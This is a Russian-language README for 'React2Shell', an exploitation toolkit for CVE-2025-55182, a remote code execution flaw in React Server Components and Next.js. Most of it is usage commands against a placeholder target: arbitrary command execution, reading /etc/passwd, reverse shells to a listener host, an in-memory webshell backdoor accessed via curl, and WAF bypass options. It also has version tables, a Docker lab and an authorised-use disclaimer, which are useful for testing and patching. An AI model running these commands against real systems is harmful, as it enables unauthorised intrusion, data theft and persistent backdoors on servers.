Комплект для тестирования безопасности CVE-2025-55182: CLI-сканер + расширение Chrome + шаблоны Nuclei + Docker-лаборатория.
Сканер и эксплойт-набор CVE-2025-55182 для RCE в Next.js/React Server Components.
React2Shell/
├── browser-extension/ # Chrome-расширение для обнаружения через браузер
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # CLI-сканер и инструмент эксплуатации
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # Учебная документация
│ ├── README.md # Путь обучения (индекс)
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # Среда Docker для тестирования
│ ├── vulnerable/ # Уязвимое приложение Next.js (React 19.2.0)
│ ├── patched/ # Исправленное приложение Next.js (React 19.2.1)
│ ├── waf/ # Контейнер ModSecurity WAF
│ ├── waku-app/ # Уязвимое приложение Waku (React 19.2.0)
│ ├── react-router-app/ # Уязвимое приложение React Router (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # Шаблоны Nuclei
├── CVE-2025-55182.yaml # Обнаружение RCE (выполняет код)
└── CVE-2025-55182-safe.yaml # Безопасное обнаружение по побочным каналам
cd cli
pip install -r requirements.txt
# Сканирование цели
python react2shell.py https://target.com
# Выполнение команды
python react2shell.py https://target.com -c "id"
# Интерактивная оболочка
python react2shell.py https://target.com -i
chrome://extensions/browser-extensioncd lab
docker-compose up -d
# Эксплуатируемые цели:
# Next.js Уязвимый: http://localhost:3011 ← Полный RCE
# Waku Уязвимый: http://localhost:3014 ← RCE (слепой — нет HTTP-вывода)
# React Router: http://localhost:3015 ← Полный RCE (ESM)
# Защищённые цели:
# Next.js Исправленный: http://localhost:3012 ← Безопасно
# WAF Защищённый: http://localhost:3013 ← ModSecurity блокирует эксплойты
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com
cli/react2shell.py)--detect) — автоматическое определение целевого фреймворка-E) — автоматическое обнаружение RSC-эндпоинтов-c) — выполнение произвольных команд-i) — постоянный сеанс команд-r) — несколько типов: nc, bash, perl, python, ruby--webshell) — установка постоянного бэкдора-f) — прямое чтение удалённых файлов-L) — проверка package.json на уязвимые версии-w), юникод-кодирование (-u), специфичный для Vercel (-V)-x) — маршрутизация через Burp Suite или другие прокси-s) — обнаружение по побочным каналам без выполнения кодаbrowser-extension/)lab/)/RSC/F/{x}/{y}.txtprocess.getBuiltinModule(), совместимого с ESM# Базовое сканирование (автоопределение фреймворка)
python react2shell.py https://target.com
# Определение фреймворка и перечисление конечных точек
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# Выполнение команды на разных фреймворках
python react2shell.py https://target.com -c "id" # Next.js (авто)
python react2shell.py https://target.com -F waku -c "id" # Waku (слепой RCE)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# Примеры с лабораторной средой
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# Выполнение команды со всеми обходами WAF
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# Интерактивная оболочка через прокси
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# Установка веб-шелла в памяти (создаёт бэкдор на порту 1337)
python react2shell.py https://target.com --webshell mypassword
# Доступ: curl 'http://target:1337/?p=mypassword&cmd=id'
# Реверс-шелл
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# Сканирование локального проекта на уязвимые версии
python react2shell.py -L /path/to/project
# Пакетное сканирование с выводом
python react2shell.py targets.txt -t 20 -o results.json -v
Параметры выполнения:
-c, --cmd Команда для выполнения
-i, --interactive Интерактивный сеанс оболочки
-r, --reverse Режим реверс-шелла
-l, --lhost Хост слушателя
-p, --lport Порт слушателя
-S, --shell-type Тип оболочки (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file Чтение удалённого файла
Параметры сканирования:
-P, --path Пути для тестирования (через запятую или файл)
-t, --threads Количество потоков (по умолчанию: 10)
-T, --timeout Таймаут запроса в секундах (по умолчанию: 10)
-s, --safe Безопасный режим (без выполнения кода)
-L, --local Сканирование локальной директории проекта
-F, --framework Целевой фреймворк (auto, nextjs, waku, react-router, expo)
-E, --enumerate Перечисление RSC-эндпоинтов перед эксплуатацией
--detect Только обнаружение фреймворка и вывод эндпоинтов
--webshell Установка веб-шелла в памяти на порту 1337
--rce Режим PoC для RCE (по умолчанию: безопасный режим)
Параметры обхода:
-w, --waf-bypass Дополнение мусорными данными
-W, --waf-size Размер мусора в КБ (по умолчанию: 128)
-u, --unicode Обход с помощью юникод-кодирования
-V, --vercel-bypass Обход, специфичный для Vercel
--windows Полезные нагрузки для Windows PowerShell
Параметры запросов:
-x, --proxy URL прокси (например, http://127.0.0.1:8080)
-H, --header Пользовательские заголовки
-A, --user-agent Пользовательский User-Agent
-k, --insecure Отключить проверку SSL
Параметры вывода:
-o, --output Сохранение результатов в JSON
-v, --verbose Подробный вывод с определением версии
-q, --quiet Показывать только уязвимые цели
--no-color Отключить цвета
--no-banner Скрыть баннер
| Поле | Значение |
|---|---|
| CVSS | 10.0 (Критический) |
| Воздействие | Неаутентифицированное удалённое выполнение кода |
| Затрагивает | Любой RSC-фреймворк, использующий уязвимые версии React |
| Механизм | Загрязнение прототипа через протокол React Flight |
| Фреймворк | Уязвимая версия | Исправленная версия |
|---|---|---|
| React | 19.0.0 – 19.2.0 | 19.2.1+ |
| Next.js | 14.0.0 – 15.4.7 | 15.4.8+ |
| Waku | < 0.27.2 | 0.27.2+ |
| React Router | 7.0.0 – 7.5.0 (RSC preview) | 7.5.1+ |
| Expo | Экспериментальный RSC | Обновить React |
| @vitejs/plugin-rsc | Все с уязвимым React | Обновить React |
| @parcel/rsc | Все с уязвимым React | Обновить React |
| RedwoodJS (rwsdk) | Все с уязвимым React | Обновить React |
Данный набор инструментов предназначен только для авторизованного тестирования безопасности. Используйте его только в системах, которые вам принадлежат или на тестирование которых у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен.
CVE-2025-55182 | CVSS 10.0 | Только для авторизованного тестирования безопасности